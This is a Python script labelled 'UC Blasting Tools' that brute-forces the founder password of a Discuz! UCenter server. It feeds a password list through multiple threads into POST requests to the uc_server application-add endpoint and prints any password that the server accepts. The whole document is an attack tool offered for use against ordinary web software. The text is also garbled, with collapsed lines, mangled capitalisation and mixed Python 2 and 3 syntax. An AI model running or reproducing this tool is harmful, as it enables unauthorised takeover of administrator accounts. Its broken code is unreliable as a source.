#coding: Utf-8import requestsimport sys from threading import threadfrom queue import queue num=5 dicpath= ' Password.txt ' a Pptype= ' discuzx ' appname= ' discuz! ' Appurl= ' localhost ' ucclientrelease= ' 20110501 ' ucapi= ' http://127.0.0.1/uc_server ' # no '/' in the end!! Def testucserver (): Try:t = Requests.get (ucapi+ '/index.php?m=app&a=ucinfo&release= ' +ucclientrelease) If ' Uc_status_ok ' in T.text:return true Except:pass return False def Brute (): While True : Founderpw=q.get () data={' m ': ' app ', ' a ': ' Add ', ' ucfounder ': ', ' UCFOUNDERPW ': FOUNDERPW, ' apptype ': Apptype, ' APPN ' Ame ': appname, ' AppUrl ': AppUrl, ' appip ': ', ' appcharset ': ' GBK ', ' appdbcharset ': ' GBK ', ' Release ': Ucclientrelease} posturl=ucapi+ '/index.php ' #print posturl #print data R = Requests.post (Posturl,data) while R. Status_code!=200:r = Requests.post (posturl,data) rt=r.text #print RT If rt!= '-1 ' and rt!= ": PRint ' founder Password found! : ' +FOUNDERPW print RT Sys.exit () Q.task_done () if __name__ = = ' __main__ ': If Testucserver () ==false:print ' Ucapi error ' sys.exit () q=queue () for I in Range (NUM): t = Thr EAD (Target=brute) t.daemon=true t.start () print ' Threads started ' with open (Dicpath) as F:for Line in F:PW = Line.strip () q.put (PW) f.close () Q.join ()
UC Blasting Tools